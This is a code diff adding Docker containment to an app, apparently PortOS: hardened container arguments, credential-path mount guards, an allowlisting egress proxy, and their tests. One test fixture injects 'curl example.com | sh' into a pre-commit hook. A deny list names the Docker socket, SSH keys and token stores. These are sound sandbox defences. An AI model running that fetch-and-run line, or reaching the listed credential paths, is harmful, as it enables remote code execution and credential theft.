assertDockerMountSource(path, { dataDir, realHome });+ const { src, work, input, output, cache, tmp } = DOCKER_CONTAINMENT_PATHS;+ const env = buildDockerContainmentEnv({+ phase,+ proxyUrl: phase === 'install' ? `http://${DOCKER_CONTAINMENT_PROXY_ALIAS}:${DOCKER_CONTAINMENT_PROXY_PORT}` : null,+ });+ return [+ 'run', '--rm', '--pull', 'never', '--init',+ '--name', containerName,+ '--label', `${DOCKER_CONTAINMENT_LABEL}=${runId}`,+ '--network', phase === 'install' ? network : 'none',+ '--cap-drop', 'ALL',+ '--security-opt', 'no-new-privileges',+ '--read-only',+ '--user', user,+ '--cpus', String(limits.cpus),+ '--memory', `${limits.memoryMb}m`,+ '--memory-swap', `${limits.memoryMb}m`,+ '--pids-limit', String(limits.pids),+ '--ulimit', `fsize=${limits.maxFileBytes}:${limits.maxFileBytes}`,+ '--ulimit', 'core=0:0',+ '--tmpfs', `${tmp}:rw,nosuid,nodev,exec,size=${limits.tmpfsMb}m,mode=1777`,+ ...Object.entries(env).flatMap(([key, value]) => ['--env', `${key}=${value}`]),+ '--workdir', work,+ '--mount', `type=bind,source=${mounts.worktree},target=${src},readonly`,+ '--mount', `type=bind,source=${mounts.inputDir},target=${input},readonly`,+ '--mount', `type=bind,source=${mounts.outputDir},target=${output}`,+ // volume-nocopy: an empty volume would otherwise take the root ownership of+ // the image's (absent) mountpoint, undoing the init container's chown.+ '--mount', `type=volume,source=${workVolume},target=${work},volume-nocopy`,+ '--mount', `type=volume,source=${cacheVolume},target=${cache},volume-nocopy${phase === 'validate' ? ',readonly' : ''}`,+ '--entrypoint', '/bin/sh',+ image,+ '-c', DOCKER_CONTAINMENT_DRIVER, 'portos-contained', phase, command,+ ];+}++/** `docker volume create` argv for a labeled volume. */+export function buildDockerContainmentVolumeCreateArgs({ name, runId, worktreeKey = null, createdAtMs }) {+ assertName(name, 'volume name');+ assertName(runId, 'runId');+ return [+ 'volume', 'create',+ '--label', `${DOCKER_CONTAINMENT_LABEL}=${runId}`,+ ...(worktreeKey ? ['--label', `${DOCKER_CONTAINMENT_WORKTREE_LABEL}=${worktreeKey}`] : []),+ '--label', `${DOCKER_CONTAINMENT_CREATED_LABEL}=${Math.trunc(createdAtMs)}`,+ name,+ ];+}++/**+ * A fresh named volume is root-owned; this fixed, trusted command hands it to+ * the run user. It is the only container that starts as root, holds only+ * CHOWN, has no network, and runs no repository code.+ */+export function buildDockerContainmentVolumeInitArgs({ image, containerName, runId, volumes, user }) {+ assertImage(image);+ assertName(containerName, 'containerName');+ assertName(runId, 'runId');+ assertUser(user);+ if (!Array.isArray(volumes) || volumes.length === 0) throw new Error('volumes are required');+ volumes.forEach((volume) => assertName(volume, 'volume'));+ return [+ 'run', '--rm', '--pull', 'never',+ '--name', containerName,+ '--label', `${DOCKER_CONTAINMENT_LABEL}=${runId}`,+ '--network', 'none',+ '--cap-drop', 'ALL', '--cap-add', 'CHOWN',+ '--security-opt', 'no-new-privileges',+ '--read-only',+ '--user', '0:0',+ '--memory', '64m', '--pids-limit', '16',+ ...volumes.flatMap((volume, index) => ['--mount', `type=volume,source=${volume},target=/v${index}`]),+ '--entrypoint', 'chown',+ image,+ user, ...volumes.map((_, index) => `/v${index}`),+ ];+}++/**+ * `docker create` argv for the install phase's egress proxy: the same+ * hardening, its own small limits, attached first to the run's internal+ * network under the alias the install container dials. The executor then+ * connects it to the egress bridge and starts it.+ */+export function buildDockerEgressProxyCreateArgs({ image, containerName, runId, network, allowlist, source, user = DOCKER_CONTAINMENT_FALLBACK_USER }) {+ assertImage(image);+ assertName(containerName, 'containerName');+ assertName(runId, 'runId');+ assertName(network, 'network');+ assertUser(user);+ const hosts = (allowlist ?? []).filter(isEgressHostname);+ if (hosts.length === 0) throw new Error('the egress allowlist is empty');+ if (typeof source !== 'string' || !source) throw new Error('proxy source is required');+ return [+ 'create', '--rm', '--pull', 'never', '--init',+ '--name', containerName,+ '--label', `${DOCKER_CONTAINMENT_LABEL}=${runId}`,+ '--network', network,+ '--network-alias', DOCKER_CONTAINMENT_PROXY_ALIAS,+ '--cap-drop', 'ALL',+ '--security-opt', 'no-new-privileges',+ '--read-only',+ '--user', user,+ '--cpus', '0.5', '--memory', '128m', '--memory-swap', '128m', '--pids-limit', '64',+ '--env', `PORTOS_EGRESS_ALLOW=${hosts.join(',')}`,+ '--env', `PORTOS_EGRESS_PORT=${DOCKER_CONTAINMENT_PROXY_PORT}`,+ '--entrypoint', 'node',+ image,+ '-e', source,+ ];+}++/** `docker network create` argv for one run's internal (no-gateway) network. */+export function buildDockerContainmentNetworkArgs({ name, runId, internal = true }) {+ assertName(name, 'network name');+ assertName(runId, 'runId');+ return ['network', 'create', ...(internal ? ['--internal'] : []), '--label', `${DOCKER_CONTAINMENT_LABEL}=${runId}`, name];+}diff --git a/server/lib/dockerContainment.test.js b/server/lib/dockerContainment.test.jsnew file mode 100644index 0000000000..f3dcc50b25--- /dev/null+++ b/server/lib/dockerContainment.test.js@@ -0,0 +1,188 @@+import { describe, expect, it } from 'vitest';+import {+ DOCKER_CONTAINMENT_NODE_IMAGES,+ DOCKER_CONTAINMENT_PROXY_ALIAS,+ assertDockerMountSource,+ buildDockerContainmentRunArgs,+ buildDockerContainmentVolumeInitArgs,+ buildDockerEgressProxyCreateArgs,+ buildEgressAllowlist,+ parseNpmrcRegistryHosts,+ selectApplicablePatch,+ selectDockerContainmentNodeMajor,+} from './dockerContainment.js';++const IMAGE = DOCKER_CONTAINMENT_NODE_IMAGES[24];+const HOME = '/home/example';+const DATA = '/srv/portos/data';+const base = {+ image: IMAGE, containerName: 'portos-contained-r1', runId: 'r1', worktree: '/srv/repos/example-app',+ inputDir: '/tmp/portos-contained-x/in', outputDir: '/tmp/portos-contained-x/out', workVolume: 'portos-contained-work-abc',+ command: 'npm test', user: '1000:1000', dataDir: DATA, realHome: HOME,+};+const flagValues = (args, flag) => args.flatMap((arg, i) => (arg === flag ? [args[i + 1]] : []));++describe('Docker containment run args', () => {+ it('pins the hardening flags, the read-only source and the explicit environment', () => {+ const args = buildDockerContainmentRunArgs({ ...base, phase: 'validate' });+ const options = args.slice(0, args.indexOf(IMAGE));+ expect(options.slice(0, 5)).toEqual(['run', '--rm', '--pull', 'never', '--init']);+ for (const flag of ['--read-only']) expect(options).toContain(flag);+ expect(flagValues(options, '--cap-drop')).toEqual(['ALL']);+ expect(options).not.toContain('--cap-add');+ expect(options).not.toContain('--privileged');+ expect(flagValues(options, '--security-opt')).toEqual(['no-new-privileges']);+ expect(flagValues(options, '--user')).toEqual(['1000:1000']);+ expect(flagValues(options, '--memory')).toEqual(flagValues(options, '--memory-swap'));+ expect(flagValues(options, '--pids-limit')).toEqual(['1024']);+ expect(flagValues(options, '--ulimit')).toEqual(['fsize=2147483648:2147483648', 'core=0:0']);+ expect(flagValues(options, '--label')).toEqual(['org.portos.containment.run=r1']);+ expect(flagValues(options, '--mount')).toEqual([+ 'type=bind,source=/srv/repos/example-app,target=/src,readonly',+ 'type=bind,source=/tmp/portos-contained-x/in,target=/in,readonly',+ 'type=bind,source=/tmp/portos-contained-x/out,target=/out',+ 'type=volume,source=portos-contained-work-abc,target=/work,volume-nocopy',+ 'type=volume,source=portos-contained-npm-cache,target=/cache,volume-nocopy,readonly',+ ]);+ expect(options).not.toContain('-v');+ expect(options).not.toContain('--volume');+ expect(args.slice(args.indexOf(IMAGE) + 1).slice(-3)).toEqual(['portos-contained', 'validate', 'npm test']);+ });++ it('gives validate no network and install only its internal proxy network', () => {+ const validate = buildDockerContainmentRunArgs({ ...base, phase: 'validate' });+ expect(flagValues(validate, '--network')).toEqual(['none']);+ expect(flagValues(validate, '--env').some((pair) => /proxy/i.test(pair))).toBe(false);+ const install = buildDockerContainmentRunArgs({ ...base, phase: 'install', network: 'portos-contained-net-r1' });+ expect(flagValues(install, '--network')).toEqual(['portos-contained-net-r1']);+ expect(flagValues(install, '--env')).toContain(`HTTPS_PROXY=http://${DOCKER_CONTAINMENT_PROXY_ALIAS}:3128`);+ expect(install).not.toContain('--add-host');+ expect(() => buildDockerContainmentRunArgs({ ...base, phase: 'install' })).toThrow('network');+ });++ it('builds the container environment from nothing — no inherited host variable', () => {+ const marker = 'PORTOS_CONTAINMENT_HOST_ONLY';+ process.env[marker] = 'example-secret';+ try {+ for (const phase of ['install', 'validate']) {+ const args = buildDockerContainmentRunArgs({ ...base, phase, network: 'portos-contained-net-r1' });+ const keys = flagValues(args, '--env').map((pair) => pair.split('=')[0]).sort();+ const expected = ['CI', 'HOME', 'LANG', 'NO_UPDATE_NOTIFIER', 'TMPDIR', 'npm_config_cache', 'npm_config_fund', 'npm_config_logs_dir', 'npm_config_update_notifier',+ ...(phase === 'install'+ ? ['HTTPS_PROXY', 'HTTP_PROXY', 'NODE_USE_ENV_PROXY', 'http_proxy', 'https_proxy', 'npm_config_https_proxy', 'npm_config_proxy']+ : ['npm_config_offline'])].sort();+ expect(keys).toEqual(expected);+ expect(args.join('\n')).not.toContain('example-secret');+ expect(flagValues(args, '--env').every((pair) => pair.includes('='))).toBe(true);+ }+ } finally {+ delete process.env[marker];+ }+ });++ it('refuses a root user and an image not pinned by digest', () => {+ expect(() => buildDockerContainmentRunArgs({ ...base, phase: 'validate', user: '0:0' })).toThrow('non-root');+ expect(() => buildDockerContainmentRunArgs({ ...base, phase: 'validate', image: 'node:24-bookworm-slim' })).toThrow('digest');+ });+});++describe('assertDockerMountSource', () => {+ const guard = (path) => () => assertDockerMountSource(path, { dataDir: DATA, realHome: HOME });++ it.each([+ ['the Docker socket', '/var/run/docker.sock'],+ ['the run directory', '/run'],+ ["Docker Desktop's user socket", `${HOME}/.docker/run/docker.sock`],+ ['a renamed engine socket', '/srv/sockets/containerd.sock'],+ ['the filesystem root', '/'],+ ['the home directory', HOME],+ ['a home ancestor', '/home'],+ ['~/.ssh', `${HOME}/.ssh`],+ ['a key inside ~/.ssh', `${HOME}/.ssh/id_ed25519`],+ ['~/.config/gh', `${HOME}/.config/gh`],+ ['~/.config (contains gh)', `${HOME}/.config`],+ ['~/.npmrc', `${HOME}/.npmrc`],+ ['~/.portos', `${HOME}/.portos`],+ ['~/.claude', `${HOME}/.claude`],+ ['~/.codex', `${HOME}/.codex`],+ ['the data directory', DATA],+ ['a data ancestor', '/srv/portos'],+ ['settings inside data', `${DATA}/settings.json`],+ ['the worktree root itself', `${DATA}/cos/worktrees`],+ ['a path with a comma', '/srv/repos/a,readonly=false'],+ ['a relative path', 'repos/example'],+ ])('refuses %s', (_label, path) => {+ expect(guard(path)).toThrow(/refusing|absolute|cannot mount/);+ });++ it('allows a checkout, a disposable data worktree and a home project', () => {+ expect(guard('/srv/repos/example-app')()).toBe('/srv/repos/example-app');+ expect(guard(`${DATA}/cos/worktrees/claim-example`)()).toBe(`${DATA}/cos/worktrees/claim-example`);+ expect(guard(`${DATA}/autofixer/worktrees/autofixer_example_1`)()).toBe(`${DATA}/autofixer/worktrees/autofixer_example_1`);+ expect(guard(`${HOME}/projects/example-app`)()).toBe(`${HOME}/projects/example-app`);+ });++ it('is applied to every bind mount the run args make', () => {+ expect(() => buildDockerContainmentRunArgs({ ...base, phase: 'validate', worktree: `${HOME}/.ssh` })).toThrow('credential store');+ expect(() => buildDockerContainmentRunArgs({ ...base, phase: 'validate', outputDir: '/var/run' })).toThrow('refusing');+ expect(() => buildDockerContainmentRunArgs({ ...base, phase: 'validate', inputDir: DATA })).toThrow('data directory');+ });+});++describe('helper containers', () => {+ it('runs the volume init as root with only CHOWN, no network and a fixed command', () => {+ const args = buildDockerContainmentVolumeInitArgs({ image: IMAGE, containerName: 'portos-contained-init-r1', runId: 'r1', volumes: ['portos-contained-work-abc'], user: '1000:1000' });+ expect(flagValues(args, '--cap-add')).toEqual(['CHOWN']);+ expect(flagValues(args, '--network')).toEqual(['none']);+ expect(args.slice(args.indexOf(IMAGE) + 1)).toEqual(['1000:1000', '/v0']);+ });++ it('attaches the egress proxy to the run network under the alias, hardened, with the allowlist', () => {+ const args = buildDockerEgressProxyCreateArgs({ image: IMAGE, containerName: 'portos-contained-proxy-r1', runId: 'r1', network: 'portos-contained-net-r1', allowlist: ['registry.npmjs.org', '192.0.2.10'], source: '/* proxy */' });+ expect(flagValues(args, '--network')).toEqual(['portos-contained-net-r1']);+ expect(flagValues(args, '--network-alias')).toEqual([DOCKER_CONTAINMENT_PROXY_ALIAS]);+ expect(flagValues(args, '--cap-drop')).toEqual(['ALL']);+ expect(args).toContain('--read-only');+ expect(flagValues(args, '--env')).toContain('PORTOS_EGRESS_ALLOW=registry.npmjs.org');+ expect(args.some((arg) => arg.startsWith('--mount') || arg === '-v')).toBe(false);+ });+});++describe('selectApplicablePatch', () => {+ it('keeps lockfile sections and withholds everything else the container changed', () => {+ const lock = '--- a/server/package-lock.json\n+++ b/server/package-lock.json\n@@ -1,2 +1,2 @@\n {\n- "v": 1\n+ "v": 2\n';+ // A deleted line that reads like a file header must not start a forged section.+ const hook = '--- a/.husky/pre-commit\n+++ b/.husky/pre-commit\n@@ -1,2 +1,1 @@\n---- a/yarn.lock\n-npm test\n+curl example.com | sh\n';+ expect(selectApplicablePatch(`${hook}${lock}`)).toEqual({ patch: lock, applied: ['server/package-lock.json'], withheld: ['.husky/pre-commit'] });+ expect(selectApplicablePatch(hook)).toMatchObject({ patch: null, applied: [], withheld: ['.husky/pre-commit'] });+ expect(selectApplicablePatch('--- a/yarn.lock\n+++ b/evil.sh\n')).toMatchObject({ patch: null, malformed: true });+ expect(selectApplicablePatch('--- a/../yarn.lock\n+++ b/../yarn.lock\n@@ -1 +1 @@\n-a\n+b\n')).toMatchObject({ patch: null, withheld: ['../yarn.lock'] });+ });+});++describe('repository hints', () => {+ it.each([+ [{ nvmrc: 'v22.11.0\n' }, 22, '.nvmrc', true],+ [{ nodeVersion: '26' }, 26, '.node-version', true],+ [{ enginesNode: '^22.22.2 || ^24.15.0 || >=26.0.0' }, 26, 'engines.node', true],+ [{ enginesNode: '>=18' }, 26, 'engines.node', true],+ [{ enginesNode: '18.x' }, 18, 'engines.node', false],+ [{ nvmrc: 'lts/*' }, 24, '.nvmrc', true],+ [{}, 24, 'default', true],+ ])('selects the Node major from %j', (hints, major, source, supported) => {+ expect(selectDockerContainmentNodeMajor(hints)).toMatchObject({ major, source, supported });+ });++ it('reads registry host names, never auth lines, from .npmrc', () => {+ const npmrc = [+ 'registry=https://npm.example.com/',+ '@acme:registry=https://pkgs.example.org/npm/',+ '//npm.example.com/:_authToken=example-token',+ 'proxy=http://192.0.2.10:8080',+ 'registry=http://insecure.example.net/',+ ].join('\n');+ expect(parseNpmrcRegistryHosts(npmrc)).toEqual(['npm.example.com', 'pkgs.example.org']);+ expect(buildEgressAllowlist({ extraHosts: ['Cdn.Example.com', 'not a host'], npmrcHosts: ['npm.example.com'] }))+ .toEqual(['registry.npmjs.org', 'registry.yarnpkg.com', 'cdn.example.com', 'npm.example.com']);+ });+});diff --git a/server/lib/dockerContainmentValidation.js b/server/lib/dockerContainmentValidation.jsnew file mode 100644index 0000000000..ee2f288772--- /dev/null+++ b/server/lib/dockerContainmentValidation.js@@ -0,0 +1,39 @@+/**+ * Route schemas for Docker containment (#12844): the machine-local+ * `dockerContainment` settings slice and the run/pull request bodies. Kept out+ * of `validation.js` so the containment profile does not join that module's+ * very wide import closure.+ */+import { z } from 'zod';+import { DOCKER_CONTAINMENT_PHASES, isDigestPinnedImage, isEgressHostname } from './dockerContainment.js';++/**+ * Limits, extra egress hosts and image overrides. Host-control: an override+ * picks the image untrusted code runs in and extra hosts widen install+ * egress, so `PUT /api/settings` gates the whole slice+ * (`HOST_CONTROL_SETTINGS_SLICES`).+ */+export const dockerContainmentSettingsSchema = z.object({+ limits: z.object({+ cpus: z.number().min(0.5).max(64).optional(),+ memoryMb: z.number().int().min(512).max(65_536).optional(),+ pids: z.number().int().min(64).max(32_768).optional(),+ wallTimeoutMinutes: z.number().int().min(1).max(240).optional(),+ }).strict().optional(),+ extraEgressHosts: z.array(z.string().trim().toLowerCase().refine(isEgressHostname, 'must be a DNS host name (no scheme, port, path or IP literal)')).max(50).optional(),+ imageOverrides: z.record(+ z.string().regex(/^\d{1,3}$/, 'keys are Node major versions'),+ z.string().refine(isDigestPinnedImage, 'must be an image reference pinned by @sha256 digest'),+ ).optional(),+}).strict();++export const dockerContainmentRunSchema = z.object({+ worktree: z.string().min(1).max(4096).refine((path) => path.startsWith('/'), 'worktree must be an absolute path'),+ phase: z.enum(DOCKER_CONTAINMENT_PHASES),+ command: z.string().trim().min(1).max(4000),+ timeoutMinutes: z.number().int().min(1).max(240).optional(),+}).strict();++export const dockerContainmentPullSchema = z.object({+ major: z.number().int().min(1).max(999),+}).strict();diff --git a/server/lib/dockerEgressProxy.js b/server/lib/dockerEgressProxy.jsnew file mode 100644index 0000000000..290c51ff90--- /dev/null+++ b/server/lib/dockerEgressProxy.js@@ -0,0 +1,101 @@+/**+ * The install phase's egress proxy (#12844): a Node builtins-only HTTPS+ * CONNECT proxy that runs inside its own hardened container, the only member+ * of a run's internal Docker network besides the install container. It allows+ * a tunnel only when the target is an allowlisted host name on an allowed+ * port and every address it resolves to is public — so an allowlisted name+ * pointed at the host gateway, a LAN or tailnet address, or loopback is still+ * refused. Plain-HTTP proxying is refused outright.+ *+ * `DOCKER_EGRESS_PROXY_SOURCE` is the program the container runs with+ * `node -e`; it is assembled from the functions below so the allow decision a+ * test exercises is the one the container executes.+ */++/** True when `address` (IPv4 or IPv6 literal) is not publicly routable. */+function isNonPublicAddress(address) {+ const text = String(address ?? '').toLowerCase().replace(/^\[|\]$/g, '');+ const mapped = /^::ffff:(\d+\.\d+\.\d+\.\d+)$/.exec(text);+ const v4 = mapped ? mapped[1] : text;+ const octets = v4.split('.');+ if (octets.length === 4 && octets.every((part) => /^\d{1,3}$/.test(part))) {+ const [a, b] = octets.map(Number);+ return a === 0 || a === 10 || a === 127 || a >= 224+ || (a === 100 && b >= 64 && b <= 127)+ || (a === 169 && b === 254)+ || (a === 172 && b >= 16 && b <= 31)+ || (a === 192 && b === 168)+ || (a === 192 && b === 0)+ || (a === 198 && (b === 18 || b === 19));+ }+ if (!text.includes(':')) return true;+ return text === '::' || text === '::1'+ || /^f[cd]/.test(text) || /^fe[89ab]/.test(text) || /^ff/.test(text)+ || /^64:ff9b:/.test(text) || /^2001:db8:/.test(text) || /^::ffff:/.test(text);+}++/**+ * Parse a CONNECT authority (`host:port`) and decide it against the+ * allowlist. Returns `{ host, port }` when allowed, else `{ refused }`.+ */+function decideEgressConnect(authority, { allow, ports }) {+ const match = /^([a-z0-9.-]+):(\d{1,5})$/i.exec(String(authority ?? '').trim());+ if (!match) return { refused: 'malformed or IP-literal CONNECT target' };+ const host = match[1].toLowerCase().replace(/\.$/, '');+ const port = Number(match[2]);+ if (/^[\d.]+$/.test(host)) return { refused: 'IP-literal targets are not allowed' };+ if (!ports.includes(port)) return { refused: `port ${port} is not allowed` };+ if (!allow.includes(host)) return { refused: `${host} is not on the egress allowlist` };+ return { host, port };+}++// Runs inside the proxy container; builtins come from getBuiltinModule so the+// same text works under `node -e` (CommonJS) and in this ESM module.+function egressProxyMain(env) {+ const net = process.getBuiltinModule('node:net');+ const http = process.getBuiltinModule('node:http');+ const dns = process.getBuiltinModule('node:dns');+ const allow = String(env.PORTOS_EGRESS_ALLOW || '').split(',').map((h) => h.trim().toLowerCase()).filter(Boolean);+ const ports = String(env.PORTOS_EGRESS_PORTS || '443').split(',').map(Number).filter(Number.isInteger);+ const listenPort = Number(env.PORTOS_EGRESS_PORT ?? 3128);+ const listenHost = env.PORTOS_EGRESS_LISTEN || '0.0.0.0';+ const server = http.createServer((req, res) => {+ res.writeHead(403, { 'content-type': 'text/plain' });+ res.end('portos egress proxy: only HTTPS CONNECT tunnels are allowed\n');+ });+ server.on('connect', (req, client, head) => {+ client.on('error', () => {});+ const refuse = (reason) => {+ console.warn(`⛔ egress refused ${req.url}: ${reason}`);+ client.end(`HTTP/1.1 403 Forbidden\r\ncontent-type: text/plain\r\n\r\n${reason}\n`);+ };+ const decision = decideEgressConnect(req.url, { allow, ports });+ if (decision.refused) return refuse(decision.refused);+ dns.lookup(decision.host, { all: true }, (error, addresses) => {+ if (error || !addresses?.length) return refuse(`${decision.host} did not resolve`);+ if (addresses.some(({ address }) => isNonPublicAddress(address))) return refuse(`${decision.host} resolves to a non-public address`);+ const upstream = net.connect({ host: addresses[0].address, port: decision.port }, () => {+ client.write('HTTP/1.1 200 Connection Established\r\n\r\n');+ if (head?.length) upstream.write(head);+ upstream.pipe(client);+ client.pipe(upstream);+ });+ upstream.setTimeout(120_000, () => upstream.destroy());+ upstream.on('error', () => client.destroy());+ client.on('close', () => upstream.destroy());+ });+ });+ server.listen(listenPort, listenHost, () => console.log(`🛡️ portos-egress-proxy ready on ${server.address().port} for ${allow.join(',')}`));+}++/** Test hook: the allow decisions the proxy program embeds. */+export const __egressProxyPolicy = Object.freeze({ isNonPublicAddress, decideEgressConnect });++/** The marker line the executor waits for before starting the install container. */+export const DOCKER_EGRESS_PROXY_READY = 'portos-egress-proxy ready';++export const DOCKER_EGRESS_PROXY_SOURCE = [+ `const isNonPublicAddress = ${isNonPublicAddress.toString()};`,+ `const decideEgressConnect = ${decideEgressConnect.toString()};`,+ `(${egressProxyMain.toString()})(process.env);`,+].join('\n');diff --git a/server/lib/dockerEgressProxy.test.js b/server/lib/dockerEgressProxy.test.jsnew file mode 100644index 0000000000..1abce5a0e7--- /dev/null+++ b/server/lib/dockerEgressProxy.test.js@@ -0,0 +1,74 @@+import { afterAll, beforeAll, describe, expect, it } from 'vitest';+import { spawn } from 'node:child_process';+import { connect, createServer } from 'node:net';+import { request } from 'node:http';+import { DOCKER_EGRESS_PROXY_READY, DOCKER_EGRESS_PROXY_SOURCE, __egressProxyPolicy } from './dockerEgressProxy.js';++const { decideEgressConnect, isNonPublicAddress } = __egressProxyPolicy;++describe('egress proxy decisions', () => {+ it.each([+ '127.0.0.1', '10.1.2.3', '172.17.0.1', '192.168.1.5', '100.64.0.1', '169.254.169.254', '0.0.0.0', '224.0.0.1',+ '::1', 'fd7a:115c:a1e0::1', 'fe80::1', '::ffff:192.168.1.5',+ ])('treats %s as non-public', (address) => expect(isNonPublicAddress(address)).toBe(true));++ it.each(['104.16.1.34', '2606:4700::6810:122'])('treats %s as public', (address) => expect(isNonPublicAddress(address)).toBe(false));++ it('allows only allowlisted host names on allowed ports', () => {+ const policy = { allow: ['registry.npmjs.org'], ports: [443] };+ expect(decideEgressConnect('registry.npmjs.org:443', policy)).toEqual({ host: 'registry.npmjs.org', port: 443 });+ expect(decideEgressConnect('Registry.NPMJS.org.:443', policy)).toEqual({ host: 'registry.npmjs.org', port: 443 });+ expect(decideEgressConnect('registry.npmjs.org:22', policy).refused).toMatch(/port/);+ expect(decideEgressConnect('evil.example.com:443', policy).refused).toMatch(/allowlist/);+ expect(decideEgressConnect('104.16.1.34:443', policy).refused).toMatch(/IP-literal/);+ expect(decideEgressConnect('[::1]:443', policy).refused).toMatch(/malformed/);+ });+});++// The same program the proxy container runs, on the host, against loopback.+describe('egress proxy program', () => {+ let proxy;+ let port;+ let target;+ beforeAll(async () => {+ target = createServer((socket) => socket.end('reached')).listen(0, '127.0.0.1');+ await new Promise((resolve) => { target.once('listening', resolve); });+ proxy = spawn(process.execPath, ['-e', DOCKER_EGRESS_PROXY_SOURCE], {+ env: { PORTOS_EGRESS_ALLOW: 'localhost', PORTOS_EGRESS_PORTS: String(target.address().port), PORTOS_EGRESS_PORT: '0', PORTOS_EGRESS_LISTEN: '127.0.0.1' },+ stdio: ['ignore', 'pipe', 'pipe'],+ });+ await new Promise((resolve, reject) => {+ proxy.on('error', reject);+ proxy.stdout.on('data', (chunk) => {+ const ready = new RegExp(`${DOCKER_EGRESS_PROXY_READY} on (\\d+)`).exec(String(chunk));+ if (ready) { port = Number(ready[1]); resolve(); }+ });+ });+ });+ afterAll(() => { proxy?.kill('SIGKILL'); target?.close(); });++ const tunnel = (authority) => new Promise((resolve, reject) => {+ const socket = connect(port, '127.0.0.1', () => socket.write(`CONNECT ${authority} HTTP/1.1\r\nHost: ${authority}\r\n\r\n`));+ let data = '';+ socket.on('data', (chunk) => { data += chunk; });+ socket.on('end', () => resolve(data));+ socket.on('error', reject);+ });++ it('refuses an allowlisted name that resolves to a non-public address', async () => {+ expect(await tunnel(`localhost:${target.address().port}`)).toMatch(/^HTTP\/1\.1 403[\s\S]*non-public address/);+ });++ it('refuses a name outside the allowlist and a disallowed port', async () => {+ expect(await tunnel(`example.com:${target.address().port}`)).toMatch(/403[\s\S]*not on the egress allowlist/);+ expect(await tunnel('localhost:443')).toMatch(/403[\s\S]*port 443 is not allowed/);+ });++ it('refuses plain-HTTP proxying', async () => {+ const status = await new Promise((resolve, reject) => {+ request({ host: '127.0.0.1', port, path: 'http://localhost/', method: 'GET' }, (res) => { res.resume(); resolve(res.statusCode); })+ .on('error', reject).end();+ });+ expect(status).toBe(403);+ });+});diff --git a/server/lib/hostControlRoutes.js b/server/lib/hostControlRoutes.jsindex 08da974fe5..decef9b24d 100644--- a/server/lib/hostControlRoutes.js+++ b/server/lib/hostControlRoutes.js@@ -563,6 +563,10 @@ export const HOST_CONTROL_ROUTES = Object.freeze(['POST /api/music/setup/runtime-install','POST /api/video-gen/setup/runtime-install','POST /api/music/supercollider/setup',+ // Docker containment pulls an image and runs repository code in a container+ // (#12844); the status GET stays open.+ 'POST /api/docker-containment/pull',+ 'POST /api/docker-containment/run',// Image-to-3D (TRELLIS.2 / Pixal3D) installers git-clone and build engines,// the MuScriptor installer builds a venv via the setup script, and the@@ -1067,7 +1071,7 @@ export const HOST_CONTROL_ROUTES = Object.freeze([/*** `PUT /api/settings` slices that set what runs or the guardrails around it:- * Autofixer repair policy, harness enablement and wrapper CLIs, the Code Animation worker tools, the+ * Autofixer repair policy, Docker containment images/egress, harness enablement and wrapper CLIs, the Code Animation worker tools, the* code-review chain, the untrusted content screen in front of agent work,* scheduled self-update, scheduled series autopilots, and backup destination/* recovery policy, and whole-root voice policy replacement. The store is@@ -1084,6 +1088,8 @@ export const HOST_CONTROL_SETTINGS_SLICES = Object.freeze(['codeAnimationExecution','codeReview','credentialBootstraps',+ // Image overrides pick what untrusted code runs in; extra hosts widen install egress.+ 'dockerContainment','harnesses','seriesAutopilot','telegram',diff --git a/server/lib/index.js b/server/lib/index.jsindex 1416bc2e28..d04854d03d 100644--- a/server/lib/index.js+++ b/server/lib/index.js@@ -23,6 +23,9 @@ export * from './codeAnimationPackage.js';export * from './codeAnimationAcceptance.js';export * from './codeAnimationContainment.js';export * from './autofixVerifyContainment.js';+export * from './dockerContainment.js';+export * from './dockerContainmentValidation.js';+export * from './dockerEgressProxy.js';export * from './generatedPreviewSandbox.js';export * from './generatedPreviewPlaybackSchema.js';export * from './autonomousJobTask.js';diff --git a/server/lib/instanceFeatureRegistry.js b/server/lib/instanceFeatureRegistry.jsindex 9d3cd5ce1f..847c0af3e9 100644--- a/server/lib/instanceFeatureRegistry.js+++ b/server/lib/instanceFeatureRegistry.js@@ -120,6 +120,13 @@ export const INSTANCE_FEATURES = Object.freeze([// module imports, so a fresh install never advertises a capability it cannot run.defaultEnabled: false,}),+ Object.freeze({+ id: 'docker-containment',+ label: 'Docker containment',+ description: 'Run untrusted dependency installs, tests and autofix verification in a throwaway Linux container with no credentials and registry-only network. Needs Docker Desktop or Docker Engine on this machine.',+ // No detector: a fresh install makes no Docker call until the user turns it on.+ defaultEnabled: false,+ }),Object.freeze({id: 'facetime',label: 'FaceTime Audio',diff --git a/server/routes/dockerContainment.js b/server/routes/dockerContainment.jsnew file mode 100644index 0000000000..e4ae4e7dbf--- /dev/null+++ b/server/routes/dockerContainment.js@@ -0,0 +1,65 @@+/**+ * Docker containment (#12844) — the opt-in profile that runs untrusted+ * install/test steps in a throwaway Linux container.+ *+ * GET /api/docker-containment/status → engine verdict + pulled images (no Docker call while the feature is off)+ * POST /api/docker-containment/pull → pull one pinned Node image (explicit operator action; host control)+ * POST /api/docker-containment/run → run install|validate over a worktree (host control; a+ * PORTOS_API_TOKEN agent session qualifies)+ *+ * A run is refused (409 CONTAINMENT_UNAVAILABLE) when the feature is off or no+ * local engine/image is ready — it never executes on the host instead.+ */++import { Router } from 'express';+import { asyncHandler } from '../lib/errorHandler.js';+import { validateRequest } from '../lib/validation.js';+import { DOCKER_CONTAINMENT_FEATURE_ID, DOCKER_CONTAINMENT_SETTINGS_KEY } from '../lib/dockerContainment.js';+import { dockerContainmentPullSchema, dockerContainmentRunSchema } from '../lib/dockerContainmentValidation.js';+import { PATHS } from '../lib/paths.js';+import { CONTAINMENT_UNAVAILABLE, getDockerContainmentStatus, pullDockerContainmentImage, runContained } from '../services/dockerContainment.js';+import { isInstanceFeatureEnabled } from '../services/instanceFeatures.js';+import { getSettings } from '../services/settings.js';++const router = Router();++async function readGate() {+ const [enabled, settings] = await Promise.all([isInstanceFeatureEnabled(DOCKER_CONTAINMENT_FEATURE_ID), getSettings()]);+ return { enabled, settings: settings?.[DOCKER_CONTAINMENT_SETTINGS_KEY] ?? {} };+}++const featureOff = (res) => res.status(409).json({+ status: 'refused',+ code: CONTAINMENT_UNAVAILABLE,+ state: 'disabled',+ reason: 'Docker containment is off. Turn it on in Settings > Features first.',+ contained: false,+});++router.get('/status', asyncHandler(async (_req, res) => {+ res.json(await getDockerContainmentStatus(await readGate()));+}));++router.post('/pull', asyncHandler(async (req, res) => {+ const { major } = validateRequest(dockerContainmentPullSchema, req.body ?? {});+ const gate = await readGate();+ if (!gate.enabled) return featureOff(res);+ const result = await pullDockerContainmentImage({ major, settings: gate.settings });+ 